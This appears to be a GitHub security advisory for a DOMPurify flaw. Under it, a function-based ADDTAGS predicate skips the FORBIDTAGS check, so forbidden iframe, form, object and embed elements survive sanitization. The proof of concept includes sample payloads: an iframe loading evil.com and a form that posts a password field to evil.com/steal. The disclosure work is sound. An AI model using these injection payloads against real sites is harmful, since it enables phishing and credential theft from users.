CVE-2026-41240: DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

There is an inconsistency between FORBIDTAGS and FORBIDATTR handling when function-based ADDTAGS is used.

Commit c361baa added an early exit for FORBIDATTR at line 1214:

/ FORBIDATTR must always win, even if ADDATTR predicate would allow it / if (FORBIDATTR[lcName]) { return false; }

The same fix was not applied to FORBIDTAGS. At line 1118-1123, when EXTRAELEMENTHANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBIDTAGS check entirely:

if ( !( EXTRAELEMENTHANDLING.tagCheck instanceof Function && EXTRAELEMENTHANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWEDTAGS[tagName] || FORBIDTAGS[tagName]) // never evaluated ) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADDTAGS: function(tag) { return true; }, FORBIDTAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden)

DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADDTAGS: function(tag) { return true; }, FORBIDTAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBIDATTR which correctly wins:

DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADDATTR: function(attr) { return true; }, FORBIDATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBIDTAGS early exit before the tagCheck evaluation, mirroring line 1214:

/ FORBIDTAGS must always win, even if ADDTAGS predicate would allow it / if (FORBIDTAGS[tagName]) { // proceed to removal logic }

This requires function-based ADDTAGS in the config, which is uncommon. But the asymmetry with the FORBIDATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

— GitHub